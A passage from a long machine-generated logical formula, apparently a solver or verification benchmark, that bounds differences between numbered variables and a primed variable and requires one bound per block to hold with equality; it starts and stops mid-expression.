(-1.0 * _x_x_19)) <= -20.0) && (((x_17 + (-1.0 * _x_x_19)) <= -4.0) && (((x_16 + (-1.0 * _x_x_19)) <= -6.0) && (((x_11 + (-1.0 * _x_x_19)) <= -13.0) && (((x_9 + (-1.0 * _x_x_19)) <= -18.0) && (((x_8 + (-1.0 * _x_x_19)) <= -3.0) && (((x_7 + (-1.0 * _x_x_19)) <= -17.0) && (((x_6 + (-1.0 * _x_x_19)) <= -3.0) && (((x_5 + (-1.0 * _x_x_19)) <= -20.0) && (((x_3 + (-1.0 * _x_x_19)) <= -4.0) && (((x_0 + (-1.0 * _x_x_19)) <= -1.0) && ((x_2 + (-1.0 * _x_x_19)) <= -12.0)))))))))))))))))))) && (((x_36 + (-1.0 * _x_x_19)) == -17.0) || (((x_35 + (-1.0 * _x_x_19)) == -19.0) || (((x_31 + (-1.0 * _x_x_19)) == -1.0) || (((x_30 + (-1.0 * _x_x_19)) == -20.0) || (((x_23 + (-1.0 * _x_x_19)) == -11.0) || (((x_22 + (-1.0 * _x_x_19)) == -11.0) || (((x_21 + (-1.0 * _x_x_19)) == -7.0) || (((x_20 + (-1.0 * _x_x_19)) == -9.0) || (((x_19 + (-1.0 * _x_x_19)) == -20.0) || (((x_17 + (-1.0 * _x_x_19)) == -4.0) || (((x_16 + (-1.0 * _x_x_19)) == -6.0) || (((x_11 + (-1.0 * _x_x_19)) == -13.0) || (((x_9 + (-1.0 * _x_x_19)) == -18.0) || (((x_8 + (-1.0 * _x_x_19)) == -3.0) || (((x_7 + (-1.0 * _x_x_19)) == -17.0) || (((x_6 + (-1.0 * _x_x_19)) == -3.0) || (((x_5 + (-1.0 * _x_x_19)) == -20.0) || (((x_3 + (-1.0 * _x_x_19)) == -4.0) || (((x_0 + (-1.0 * _x_x_19)) == -1.0) || ((x_2 + (-1.0 * _x_x_19)) == -12.0)))))))))))))))))))))) && ((((x_35 + (-1.0 * _x_x_20)) <= -20.0) && (((x_34 + (-1.0 * _x_x_20)) <= -10.0) && (((x_33 + (-1.0 * _x_x_20)) <= -9.0) && (((x_32 + (-1.0 * _x_x_20)) <= -5.0) && (((x_31 + (-1.0 * _x_x_20)) <= -15.0) && (((x_30 + (-1.0 * _x_x_20)) <= -2.0) && (((x_29 + (-1.0 * _x_x_20)) <= -4.0) && (((x_26 + (-1.0 * _x_x_20)) <= -10.0) && (((x_25 + (-1.0 * _x_x_20)) <= -9.0) && (((x_24 + (-1.0 * _x_x_20)) <= -19.0) && (((x_22 + (-1.0 * _x_x_20)) <= -8.0) && (((x_21 + (-1.0 * _x_x_20)) <= -4.0) && (((x_18 + (-1.0 * _x_x_20)) <= -5.0) && (((x_16 + (-1.0 * _x_x_20)) <= -3.0) && (((x_15 + (-1.0 * _x_x_20)) <= -14.0) && (((x_9 + (-1.0 * _x_x_20)) <= -19.0) && (((x_8 + (-1.0 * _x_x_20)) <= -9.0) && (((x_4 + (-1.0 * _x_x_20)) <= -11.0) && (((x_1 + (-1.0 * _x_x_20)) <= -2.0) && ((x_3 + (-1.0 * _x_x_20)) <= -11.0)))))))))))))))))))) && (((x_35 + (-1.0 * _x_x_20)) == -20.0) || (((x_34 + (-1.0 * _x_x_20)) == -10.0) || (((x_33 + (-1.0 * _x_x_20)) == -9.0) || (((x_32 + (-1.0 * _x_x_20)) == -5.0) || (((x_31 + (-1.0 * _x_x_20)) == -15.0) || (((x_30 + (-1.0 * _x_x_20)) == -2.0) || (((x_29 + (-1.0 * _x_x_20)) == -4.0) || (((x_26 + (-1.0 * _x_x_20)) == -10.0) || (((x_25 + (-1.0 * _x_x_20)) == -9.0) || (((x_24 + (-1.0 * _x_x_20)) == -19.0) || (((x_22 + (-1.0 * _x_x_20)) == -8.0) || (((x_21 + (-1.0 * _x_x_20)) == -4.0) || (((x_18 + (-1.0 * _x_x_20)) == -5.0) || (((x_16 + (-1.0 * _x_x_20)) == -3.0) || (((x_15 + (-1.0 * _x_x_20)) == -14.0) || (((x_9 + (-1.0 * _x_x_20)) == -19.0) || (((x_8 + (-1.0 * _x_x_20)) == -9.0) || (((x_4 + (-1.0 * _x_x_20)) == -11.0) || (((x_1 + (-1.0 * _x_x_20)) == -2.0) || ((x_3 + (-1.0 * _x_x_20)) == -11.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_21)) <= -1.0) && (((x_38 + (-1.0 * _x_x_21)) <= -4.0) && (((x_37 + (-1.0 * _x_x_21)) <= -15.0) && (((x_36 + (-1.0 * _x_x_21)) <= -8.0) && (((x_34 + (-1.0 * _x_x_21)) <= -14.0) && (((x_33 + (-1.0 * _x_x_21)) <= -13.0) && (((x_32 + (-1.0 * _x_x_21)) <= -13.0) && (((x_29 + (-1.0 * _x_x_21)) <= -19.0) && (((x_28 + (-1.0 * _x_x_21)) <= -13.0) && (((x_27 + (-1.0 * _x_x_21)) <= -15.0) && (((x_22 + (-1.0 * _x_x_21)) <= -14.0) && (((x_21 + (-1.0 * _x_x_21)) <= -10.0) && (((x_18 + (-1.0 * _x_x_21)) <= -9.0) && (((x_15 + (-1.0 * _x_x_21)) <= -2.0) && (((x_13 + (-1.0 * _x_x_21)) <= -12.0) && (((x_12 + (-1.0 * _x_x_21)) <= -17.0) && (((x_9 + (-1.0 * _x_x_21)) <= -1.0) && (((x_4 + (-1.0 * _x_x_21)) <= -15.0) && (((x_1 + (-1.0 * _x_x_21)) <= -6.0) && ((x_3 + (-1.0 * _x_x_21)) <= -14.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_21)) == -1.0) || (((x_38 + (-1.0 * _x_x_21)) == -4.0) || (((x_37 + (-1.0 * _x_x_21)) == -15.0) || (((x_36 + (-1.0 * _x_x_21)) == -8.0) || (((x_34 + (-1.0 * _x_x_21)) == -14.0) || (((x_33 + (-1.0 * _x_x_21)) == -13.0) || (((x_32 + (-1.0 * _x_x_21)) == -13.0) || (((x_29 + (-1.0 * _x_x_21)) == -19.0) || (((x_28 + (-1.0 * _x_x_21)) == -13.0) || (((x_27 + (-1.0 * _x_x_21)) == -15.0) || (((x_22 + (-1.0 * _x_x_21)) == -14.0) || (((x_21 + (-1.0 * _x_x_21)) == -10.0) || (((x_18 + (-1.0 * _x_x_21)) == -9.0) || (((x_15 + (-1.0 * _x_x_21)) == -2.0) || (((x_13 + (-1.0 * _x_x_21)) == -12.0) || (((x_12 + (-1.0 * _x_x_21)) == -17.0) || (((x_9 + (-1.0 * _x_x_21)) == -1.0) || (((x_4 + (-1.0 * _x_x_21)) == -15.0) || (((x_1 + (-1.0 * _x_x_21)) == -6.0) || ((x_3 + (-1.0 * _x_x_21)) == -14.0)))))))))))))))))))))) && ((((x_37 + (-1.0 * _x_x_22)) <= -19.0) && (((x_36 + (-1.0 * _x_x_22)) <= -20.0) && (((x_35 + (-1.0 * _x_x_22)) <= -11.0) && (((x_34 + (-1.0 * _x_x_22)) <= -9.0) && (((x_29 + (-1.0 * _x_x_22)) <= -1.0) && (((x_25 + (-1.0 * _x_x_22)) <= -11.0) && (((x_24 + (-1.0 * _x_x_22)) <= -10.0) && (((x_22 + (-1.0 * _x_x_22)) <= -14.0) && (((x_19 + (-1.0 * _x_x_22)) <= -11.0) && (((x_18 + (-1.0 * _x_x_22)) <= -9.0) && (((x_13 + (-1.0 * _x_x_22)) <= -9.0) && (((x_11 + (-1.0 * _x_x_22)) <= -10.0) && (((x_10 + (-1.0 * _x_x_22)) <= -12.0) && (((x_9 + (-1.0 * _x_x_22)) <= -3.0) && (((x_8 + (-1.0 * _x_x_22)) <= -4.0) && (((x_7 + (-1.0 * _x_x_22)) <= -5.0) && (((x_6 + (-1.0 * _x_x_22)) <= -13.0) && (((x_5 + (-1.0 * _x_x_22)) <= -7.0) && (((x_1 + (-1.0 * _x_x_22)) <= -20.0) && ((x_3 + (-1.0 * _x_x_22)) <= -6.0)))))))))))))))))))) && (((x_37 + (-1.0 * _x_x_22)) == -19.0) || (((x_36 + (-1.0 * _x_x_22)) == -20.0) || (((x_35 + (-1.0 * _x_x_22)) == -11.0) || (((x_34 + (-1.0 * _x_x_22)) == -9.0) || (((x_29 + (-1.0 * _x_x_22)) == -1.0) || (((x_25 + (-1.0 * _x_x_22)) == -11.0) || (((x_24 + (-1.0 * _x_x_22)) == -10.0) || (((x_22 + (-1.0 * _x_x_22)) == -14.0) || (((x_19 + (-1.0 * _x_x_22)) == -11.0) || (((x_18 + (-1.0 * _x_x_22)) == -9.0) || (((x_13 + (-1.0 * _x_x_22)) == -9.0) || (((x_11 + (-1.0 * _x_x_22)) == -10.0) || (((x_10 + (-1.0 * _x_x_22)) == -12.0) || (((x_9 + (-1.0 * _x_x_22)) == -3.0) || (((x_8 + (-1.0 * _x_x_22)) == -4.0) || (((x_7 + (-1.0 * _x_x_22)) == -5.0) || (((x_6 + (-1.0 * _x_x_22)) == -13.0) || (((x_5 + (-1.0 * _x_x_22)) == -7.0) || (((x_1 + (-1.0 * _x_x_22)) == -20.0) || ((x_3 + (-1.0 * _x_x_22)) == -6.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_23)) <= -1.0) && (((x_37 + (-1.0 * _x_x_23)) <= -14.0) && (((x_36 + (-1.0 * _x_x_23)) <= -17.0) && (((x_35 + (-1.0 * _x_x_23)) <= -5.0) && (((x_33 + (-1.0 * _x_x_23)) <= -9.0) && (((x_31 + (-1.0 * _x_x_23)) <= -17.0) && (((x_27 + (-1.0 * _x_x_23)) <= -4.0) && (((x_25 + (-1.0 * _x_x_23)) <= -19.0) && (((x_24 + (-1.0 * _x_x_23)) <= -12.0) && (((x_22 + (-1.0 * _x_x_23)) <= -6.0) && (((x_21 + (-1.0 * _x_x_23)) <= -5.0) && (((x_16 + (-1.0 * _x_x_23)) <= -4.0) && (((x_12 + (-1.0 * _x_x_23)) <= -14.0) && (((x_9 + (-1.0 * _x_x_23)) <= -19.0) && (((x_8 + (-1.0 * _x_x_23)) <= -15.0) && (((x_7 + (-1.0 * _x_x_23)) <= -11.0) && (((x_3 + (-1.0 * _x_x_23)) <= -16.0) && (((x_2 + (-1.0 * _x_x_23)) <= -4.0) && (((x_0 + (-1.0 * _x_x_23)) <= -19.0) && ((x_1 + (-1.0 * _x_x_23)) <= -19.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_23)) == -1.0) || (((x_37 + (-1.0 * _x_x_23)) == -14.0) || (((x_36 + (-1.0 * _x_x_23)) == -17.0) || (((x_35 + (-1.0 * _x_x_23)) == -5.0) || (((x_33 + (-1.0 * _x_x_23)) == -9.0) || (((x_31 + (-1.0 * _x_x_23)) == -17.0) || (((x_27 + (-1.0 * _x_x_23)) == -4.0) || (((x_25 + (-1.0 * _x_x_23)) == -19.0) || (((x_24 + (-1.0 * _x_x_23)) == -12.0) || (((x_22 + (-1.0 * _x_x_23)) == -6.0) || (((x_21 + (-1.0 * _x_x_23)) == -5.0) || (((x_16 + (-1.0 * _x_x_23)) == -4.0) || (((x_12 + (-1.0 * _x_x_23)) == -14.0) || (((x_9 + (-1.0 * _x_x_23)) == -19.0) || (((x_8 + (-1.0 * _x_x_23)) == -15.0) || (((x_7 + (-1.0 * _x_x_23)) == -11.0) || (((x_3 + (-1.0 * _x_x_23)) == -16.0) || (((x_2 + (-1.0 * _x_x_23)) == -4.0) || (((x_0 + (-1.0 * _x_x_23)) == -19.0) || ((x_1 + (-1.0 * _x_x_23)) == -19.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_24)) <= -1.0) && (((x_38 + (-1.0 * _x_x_24)) <= -4.0) && (((x_37 + (-1.0 * _x_x_24)) <= -14.0) && (((x_34 + (-1.0 * _x_x_24)) <= -20.0) && (((x_31 + (-1.0 * _x_x_24)) <= -8.0) && (((x_29 + (-1.0 * _x_x_24)) <= -17.0) && (((x_27 + (-1.0 * _x_x_24)) <= -20.0) && (((x_26 + (-1.0 * _x_x_24)) <= -8.0) && (((x_25 + (-1.0 * _x_x_24)) <= -15.0) && (((x_22 + (-1.0 * _x_x_24)) <= -16.0) && (((x_20 + (-1.0 * _x_x_24)) <= -11.0) && (((x_17 + (-1.0 * _x_x_24)) <= -9.0) && (((x_15 + (-1.0 * _x_x_24)) <= -9.0) && (((x_14 + (-1.0 * _x_x_24)) <= -7.0) && (((x_10 + (-1.0 * _x_x_24)) <= -8.0) && (((x_9 + (-1.0 * _x_x_24)) <= -19.0) && (((x_7 + (-1.0 * _x_x_24)) <= -13.0) && (((x_4 + (-1.0 * _x_x_24)) <= -4.0) && (((x_0 + (-1.0 * _x_x_24)) <= -15.0) && ((x_1 + (-1.0 * _x_x_24)) <= -9.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_24)) == -1.0) || (((x_38 + (-1.0 * _x_x_24)) == -4.0) || (((x_37 + (-1.0 * _x_x_24)) == -14.0) || (((x_34 + (-1.0 * _x_x_24)) == -20.0) || (((x_31 + (-1.0 * _x_x_24)) == -8.0) || (((x_29 + (-1.0 * _x_x_24)) == -17.0) || (((x_27 + (-1.0 * _x_x_24)) == -20.0) || (((x_26 + (-1.0 * _x_x_24)) == -8.0) || (((x_25 + (-1.0 * _x_x_24)) == -15.0) || (((x_22 + (-1.0 * _x_x_24)) == -16.0) || (((x_20 + (-1.0 * _x_x_24)) == -11.0) || (((x_17 + (-1.0 * _x_x_24)) == -9.0) || (((x_15 + (-1.0 * _x_x_24)) == -9.0) || (((x_14 + (-1.0 * _x_x_24)) == -7.0) || (((x_10 + (-1.0 * _x_x_24)) == -8.0) || (((x_9 + (-1.0 * _x_x_24)) == -19.0) || (((x_7 + (-1.0 * _x_x_24)) == -13.0) || (((x_4 + (-1.0 * _x_x_24)) == -4.0) || (((x_0 + (-1.0 * _x_x_24)) == -15.0) || ((x_1 + (-1.0 * _x_x_24)) == -9.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_25)) <= -4.0) && (((x_38 + (-1.0 * _x_x_25)) <= -5.0) && (((x_36 + (-1.0 * _x_x_25)) <= -8.0) && (((x_35 + (-1.0 * _x_x_25)) <= -16.0) && (((x_32 + (-1.0 * _x_x_25)) <= -5.0) && (((x_29 + (-1.0 * _x_x_25)) <= -20.0) && (((x_28 + (-1.0 * _x_x_25)) <= -20.0) && (((x_27 + (-1.0 * _x_x_25)) <= -1.0) && (((x_25 + (-1.0 * _x_x_25)) <= -9.0) && (((x_23 + (-1.0 * _x_x_25)) <= -16.0) && (((x_22 + (-1.0 * _x_x_25)) <= -14.0) && (((x_19 + (-1.0 * _x_x_25)) <= -16.0) && (((x_18 + (-1.0 * _x_x_25)) <= -1.0) && (((x_17 + (-1.0 * _x_x_25)) <= -1.0) && (((x_14 + (-1.0 * _x_x_25)) <= -15.0) && (((x_12 + (-1.0 * _x_x_25)) <= -6.0) && (((x_11 + (-1.0 * _x_x_25)) <= -10.0) && (((x_6 + (-1.0 * _x_x_25)) <= -19.0) && (((x_1 + (-1.0 * _x_x_25)) <= -18.0) && ((x_5 + (-1.0 * _x_x_25)) <= -18.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_25)) == -4.0) || (((x_38 + (-1.0 * _x_x_25)) == -5.0) || (((x_36 + (-1.0 * _x_x_25)) == -8.0) || (((x_35 + (-1.0 * _x_x_25)) == -16.0) || (((x_32 + (-1.0 * _x_x_25)) == -5.0) || (((x_29 + (-1.0 * _x_x_25)) == -20.0) || (((x_28 + (-1.0 * _x_x_25)) == -20.0) || (((x_27 + (-1.0 * _x_x_25)) == -1.0) || (((x_25 + (-1.0 * _x_x_25)) == -9.0) || (((x_23 + (-1.0 * _x_x_25)) == -16.0) || (((x_22 + (-1.0 * _x_x_25)) == -14.0) || (((x_19 + (-1.0 * _x_x_25)) == -16.0) || (((x_18 + (-1.0 * _x_x_25)) == -1.0) || (((x_17 + (-1.0 * _x_x_25)) == -1.0) || (((x_14 + (-1.0 * _x_x_25)) == -15.0) || (((x_12 + (-1.0 * _x_x_25)) == -6.0) || (((x_11 + (-1.0 * _x_x_25)) == -10.0) || (((x_6 + (-1.0 * _x_x_25)) == -19.0) || (((x_1 + (-1.0 * _x_x_25)) == -18.0) || ((x_5 + (-1.0 * _x_x_25)) == -18.0)))))))))))))))))))))) && ((((x_36 + (-1.0 * _x_x_26)) <= -14.0) && (((x_35 + (-1.0 * _x_x_26)) <= -17.0) && (((x_32 + (-1.0 * _x_x_26)) <= -7.0) && (((x_29 + (-1.0 * _x_x_26)) <= -9.0) && (((x_26 + (-1.0 * _x_x_26)) <= -2.0) && (((x_24 + (-1.0 * _x_x_26)) <= -2.0) && (((x_22 + (-1.0 * _x_x_26)) <= -6.0) && (((x_21 + (-1.0 * _x_x_26)) <= -2.0) && (((x_20 + (-1.0 * _x_x_26)) <= -3.0) && (((x_19 + (-1.0 * _x_x_26)) <= -13.0) && (((x_17 + (-1.0 * _x_x_26)) <= -9.0) && (((x_15 + (-1.0 * _x_x_26)) <= -5.0) && (((x_13 + (-1.0 * _x_x_26)) <= -17.0) && (((x_12 + (-1.0 * _x_x_26)) <= -2.0) && (((x_9 + (-1.0 * _x_x_26)) <= -11.0) && (((x_6 + (-1.0 * _x_x_26)) <= -9.0) && (((x_5 + (-1.0 * _x_x_26)) <= -13.0) && (((x_3 + (-1.0 * _x_x_26)) <= -6.0) && (((x_1 + (-1.0 * _x_x_26)) <= -11.0) && ((x_2 + (-1.0 * _x_x_26)) <= -16.0)))))))))))))))))))) && (((x_36 + (-1.0 * _x_x_26)) == -14.0) || (((x_35 + (-1.0 * _x_x_26)) == -17.0) || (((x_32 + (-1.0 * _x_x_26)) == -7.0) || (((x_29 + (-1.0 * _x_x_26)) == -9.0) || (((x_26 + (-1.0 * _x_x_26)) == -2.0) || (((x_24 + (-1.0 * _x_x_26)) == -2.0) || (((x_22 + (-1.0 * _x_x_26)) == -6.0) || (((x_21 + (-1.0 * _x_x_26)) == -2.0) || (((x_20 + (-1.0 * _x_x_26)) == -3.0) || (((x_19 + (-1.0 * _x_x_26)) == -13.0) || (((x_17 + (-1.0 * _x_x_26)) == -9.0) || (((x_15 + (-1.0 * _x_x_26)) == -5.0) || (((x_13 + (-1.0 * _x_x_26)) == -17.0) || (((x_12 + (-1.0 * _x_x_26)) == -2.0) || (((x_9 + (-1.0 * _x_x_26)) == -11.0) || (((x_6 + (-1.0 * _x_x_26)) == -9.0) || (((x_5 + (-1.0 * _x_x_26)) == -13.0) || (((x_3 + (-1.0 * _x_x_26)) == -6.0) || (((x_1 + (-1.0 * _x_x_26)) == -11.0) || ((x_2 + (-1.0 * _x_x_26)) == -16.0)))))))))))))))))))))) && ((((x_35 + (-1.0 * _x_x_27)) <= -20.0) && (((x_31 + (-1.0 * _x_x_27)) <= -5.0) && (((x_28 + (-1.0 * _x_x_27)) <= -16.0) && (((x_26 + (-1.0 * _x_x_27)) <= -18.0) && (((x_23 + (-1.0 * _x_x_27)) <= -11.0) && (((x_22 + (-1.0 * _x_x_27)) <= -16.0) && (((x_21 + (-1.0 * _x_x_27)) <= -1.0) && (((x_19 + (-1.0 * _x_x_27)) <= -4.0) && (((x_18 + (-1.0 * _x_x_27)) <= -13.0) && (((x_17 + (-1.0 * _x_x_27)) <= -1.0) && (((x_16 + (-1.0 * _x_x_27)) <= -13.0) && (((x_15 + (-1.0 * _x_x_27)) <= -12.0) && (((x_12 + (-1.0 * _x_x_27)) <= -10.0) && (((x_10 + (-1.0 * _x_x_27)) <= -3.0) && (((x_8 + (-1.0 * _x_x_27)) <= -15.0) && (((x_7 + (-1.0 * _x_x_27)) <= -15.0) && (((x_5 + (-1.0 * _x_x_27)) <= -3.0) && (((x_4 + (-1.0 * _x_x_27)) <= -12.0) && (((x_2 + (-1.0 * _x_x_27)) <= -15.0) && ((x_3 + (-1.0 * _x_x_27)) <= -10.0)))))))))))))))))))) && (((x_35 + (-1.0 * _x_x_27)) == -20.0) || (((x_31 + (-1.0 * _x_x_27)) == -5.0) || (((x_28 + (-1.0 * _x_x_27)) == -16.0) || (((x_26 + (-1.0 * _x_x_27)) == -18.0) || (((x_23 + (-1.0 * _x_x_27)) == -11.0) || (((x_22 + (-1.0 * _x_x_27)) == -16.0) || (((x_21 + (-1.0 * _x_x_27)) == -1.0) || (((x_19 + (-1.0 * _x_x_27)) == -4.0) || (((x_18 + (-1.0 * _x_x_27)) == -13.0) || (((x_17 + (-1.0 * _x_x_27)) == -1.0) || (((x_16 + (-1.0 * _x_x_27)) == -13.0) || (((x_15 + (-1.0 * _x_x_27)) == -12.0) || (((x_12 + (-1.0 * _x_x_27)) == -10.0) || (((x_10 + (-1.0 * _x_x_27)) == -3.0) || (((x_8 + (-1.0 * _x_x_27)) == -15.0) || (((x_7 + (-1.0 * _x_x_27)) == -15.0) || (((x_5 + (-1.0 * _x_x_27)) == -3.0) || (((x_4 + (-1.0 * _x_x_27)) == -12.0) || (((x_2 + (-1.0 * _x_x_27)) == -15.0) || ((x_3 + (-1.0 * _x_x_27)) == -10.0)))))))))))))))))))))) && ((((x_38 + (-1.0 * _x_x_28)) <= -14.0) && (((x_37 + (-1.0 * _x_x_28)) <= -19.0) && (((x_35 + (-1.0 * _x_x_28)) <= -8.0) && (((x_34 + (-1.0 * _x_x_28)) <= -17.0) && (((x_31 + (-1.0 * _x_x_28)) <= -5.0) && (((x_22 + (-1.0 * _x_x_28)) <= -15.0) && (((x_21 + (-1.0 * _x_x_28)) <= -2.0) && (((x_20 + (-1.0 * _x_x_28)) <= -8.0) && (((x_19 + (-1.0 * _x_x_28)) <= -9.0) && (((x_12 + (-1.0 * _x_x_28)) <= -5.0) && (((x_11 + (-1.0 * _x_x_28)) <= -19.0) && (((x_10 + (-1.0 * _x_x_28)) <= -19.0) && (((x_9 + (-1.0 * _x_x_28)) <= -9.0) && (((x_8 + (-1.0 * _x_x_28)) <= -9.0) && (((x_6 + (-1.0 * _x_x_28)) <= -11.0) && (((x_5 + (-1.0 * _x_x_28)) <= -11.0) && (((x_4 + (-1.0 * _x_x_28)) <= -9.0) && (((x_3 + (-1.0 * _x_x_28)) <= -9.0) && (((x_0 + (-1.0 * _x_x_28)) <= -5.0) && ((x_2 + (-1.0 * _x_x_28)) <= -1.0)))))))))))))))))))) && (((x_38 + (-1.0 * _x_x_28)) == -14.0) || (((x_37 + (-1.0 * _x_x_28)) == -19.0) || (((x_35 + (-1.0 * _x_x_28)) == -8.0) || (((x_34 + (-1.0 * _x_x_28)) == -17.0) || (((x_31 + (-1.0 * _x_x_28)) == -5.0) || (((x_22 + (-1.0 * _x_x_28)) == -15.0) || (((x_21 + (-1.0 * _x_x_28)) == -2.0) || (((x_20 + (-1.0 * _x_x_28)) == -8.0) || (((x_19 + (-1.0 * _x_x_28)) == -9.0) || (((x_12 + (-1.0 * _x_x_28)) == -5.0) || (((x_11 + (-1.0 * _x_x_28)) == -19.0) || (((x_10 + (-1.0 * _x_x_28)) == -19.0) || (((x_9 + (-1.0 * _x_x_28)) == -9.0) || (((x_8 + (-1.0 * _x_x_28)) == -9.0) || (((x_6 + (-1.0 * _x_x_28)) == -11.0) || (((x_5 + (-1.0 * _x_x_28)) == -11.0) || (((x_4 + (-1.0 * _x_x_28)) == -9.0) || (((x_3 + (-1.0 * _x_x_28)) == -9.0) || (((x_0 + (-1.0 * _x_x_28)) == -5.0) || ((x_2 + (-1.0 * _x_x_28)) == -1.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_29)) <= -1.0) && (((x_37 + (-1.0 * _x_x_29)) <= -14.0) && (((x_36 + (-1.0 * _x_x_29)) <= -8.0) && (((x_31 + (-1.0 * _x_x_29)) <= -14.0) && (((x_30 + (-1.0 * _x_x_29)) <= -4.0) && (((x_27 + (-1.0 * _x_x_29)) <= -3.0) && (((x_25 + (-1.0 * _x_x_29)) <= -16.0) && (((x_23 + (-1.0 * _x_x_29)) <= -11.0) && (((x_21 + (-1.0 * _x_x_29)) <= -3.0) && (((x_20 + (-1.0 * _x_x_29)) <= -13.0) && (((x_17 + (-1.0 * _x_x_29)) <= -20.0) && (((x_16 + (-1.0 * _x_x_29)) <= -2.0) && (((x_15 + (-1.0 * _x_x_29)) <= -10.0) && (((x_12 + (-1.0 * _x_x_29)) <= -15.0) && (((x_9 + (-1.0 * _x_x_29)) <= -1.0) && (((x_5 + (-1.0 * _x_x_29)) <= -2.0) && (((x_4 + (-1.0 * _x_x_29)) <= -1.0) && (((x_3 + (-1.0 * _x_x_29)) <= -17.0) && (((x_1 + (-1.0 * _x_x_29)) <= -12.0) && ((x_2 + (-1.0 * _x_x_29)) <= -7.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_29)) == -1.0) || (((x_37 + (-1.0 * _x_x_29)) == -14.0) || (((x_36 + (-1.0 * _x_x_29)) == -8.0) || (((x_31 + (-1.0 * _x_x_29)) == -14.0) || (((x_30 + (-1.0 * _x_x_29)) == -4.0) || (((x_27 + (-1.0 * _x_x_29)) == -3.0) || (((x_25 + (-1.0 * _x_x_29)) == -16.0) || (((x_23 + (-1.0 * _x_x_29)) == -11.0) || (((x_21 + (-1.0 * _x_x_29)) == -3.0) || (((x_20 + (-1.0 * _x_x_29)) == -13.0) || (((x_17 + (-1.0 * _x_x_29)) == -20.0) || (((x_16 + (-1.0 * _x_x_29)) == -2.0) || (((x_15 + (-1.0 * _x_x_29)) == -10.0) || (((x_12 + (-1.0 * _x_x_29)) == -15.0) || (((x_9 + (-1.0 * _x_x_29)) == -1.0) || (((x_5 + (-1.0 * _x_x_29)) == -2.0) || (((x_4 + (-1.0 * _x_x_29)) == -1.0) || (((x_3 + (-1.0 * _x_x_29)) == -17.0) || (((x_1 + (-1.0 * _x_x_29)) == -12.0) || ((x_2 + (-1.0 * _x_x_29)) == -7.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_30)) <= -12.0) && (((x_34 + (-1.0 * _x_x_30)) <= -4.0) && (((x_32 + (-1.0 * _x_x_30)) <= -18.0) && (((x_30 + (-1.0 * _x_x_30)) <= -14.0) && (((x_29 + (-1.0 * _x_x_30)) <= -16.0) && (((x_27 + (-1.0 * _x_x_30)) <= -1.0) && (((x_26 + (-1.0 * _x_x_30)) <= -4.0) && (((x_25 + (-1.0 * _x_x_30)) <= -5.0) && (((x_24 + (-1.0 * _x_x_30)) <= -14.0) && (((x_22 + (-1.0 * _x_x_30)) <= -15.0) && (((x_20 + (-1.0 * _x_x_30)) <= -11.0) && (((x_18 + (-1.0 * _x_x_30)) <= -7.0) && (((x_14 + (-1.0 * _x_x_30)) <= -8.0) && (((x_12 + (-1.0 * _x_x_30)) <= -9.0) && (((x_8 + (-1.0 * _x_x_30)) <= -7.0) && (((x_7 + (-1.0 * _x_x_30)) <= -6.0) && (((x_6 + (-1.0 * _x_x_30)) <= -6.0) && (((x_4 + (-1.0 * _x_x_30)) <= -17.0) && (((x_0 + (-1.0 * _x_x_30)) <= -2.0) && ((x_1 + (-1.0 * _x_x_30)) <= -19.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_30)) == -12.0) || (((x_34 + (-1.0 * _x_x_30)) == -4.0) || (((x_32 + (-1.0 * _x_x_30)) == -18.0) || (((x_30 + (-1.0 * _x_x_30)) == -14.0) || (((x_29 + (-1.0 * _x_x_30)) == -16.0) || (((x_27 + (-1.0 * _x_x_30)) == -1.0) || (((x_26 + (-1.0 * _x_x_30)) == -4.0) || (((x_25 + (-1.0 * _x_x_30)) == -5.0) || (((x_24 + (-1.0 * _x_x_30)) == -14.0) || (((x_22 + (-1.0 * _x_x_30)) == -15.0) || (((x_20 + (-1.0 * _x_x_30)) == -11.0) || (((x_18 + (-1.0 * _x_x_30)) == -7.0) || (((x_14 + (-1.0 * _x_x_30)) == -8.0) || (((x_12 + (-1.0 * _x_x_30)) == -9.0) || (((x_8 + (-1.0 * _x_x_30)) == -7.0) || (((x_7 + (-1.0 * _x_x_30)) == -6.0) || (((x_6 + (-1.0 * _x_x_30)) == -6.0) || (((x_4 + (-1.0 * _x_x_30)) == -17.0) || (((x_0 + (-1.0 * _x_x_30)) == -2.0) || ((x_1 + (-1.0 * _x_x_30)) == -19.0)))))))))))))))))))))) && ((((x_39 + (-1.0 * _x_x_31)) <= -14.0) && (((x_33 + (-1.0 * _x_x_31)) <= -6.0) && (((x_32 + (-1.0 * _x_x_31)) <= -17.0) && (((x_29 + (-1.0 * _x_x_31)) <= -5.0) && (((x_28 + (-1.0 * _x_x_31)) <= -20.0) && (((x_27 + (-1.0 * _x_x_31)) <= -4.0) && (((x_26 + (-1.0 * _x_x_31)) <= -5.0) && (((x_24 + (-1.0 * _x_x_31)) <= -6.0) && (((x_23 + (-1.0 * _x_x_31)) <= -10.0) && (((x_16 + (-1.0 * _x_x_31)) <= -20.0) && (((x_13 + (-1.0 * _x_x_31)) <= -1.0) && (((x_12 + (-1.0 * _x_x_31)) <= -16.0) && (((x_10 + (-1.0 * _x_x_31)) <= -5.0) && (((x_9 + (-1.0 * _x_x_31)) <= -6.0) && (((x_7 + (-1.0 * _x_x_31)) <= -12.0) && (((x_5 + (-1.0 * _x_x_31)) <= -18.0) && (((x_4 + (-1.0 * _x_x_31)) <= -2.0) && (((x_3 + (-1.0 * _x_x_31)) <= -18.0) && (((x_0 + (-1.0 * _x_x_31)) <= -14.0) && ((x_1 + (-1.0 * _x_x_31)) <= -15.0)))))))))))))))))))) && (((x_39 + (-1.0 * _x_x_31)) == -14.0) || (((x_33 + (-1.0 * _x_x_31)) == -6.0) || (((x_32 + (-1.0 * _x_x_31)) == -17.0) || (((x_29 + (-1.0 * _x_x_31)) == -5.0) || (((x_28 + (-1.0 * _x_x_31)) == -20.0) || (((x_27 + (-1.0 * _x_x_31)) == -4.0) || (((x_26 + (-1.0 * _x_x_31)) == -5.0) || (((x_24 + 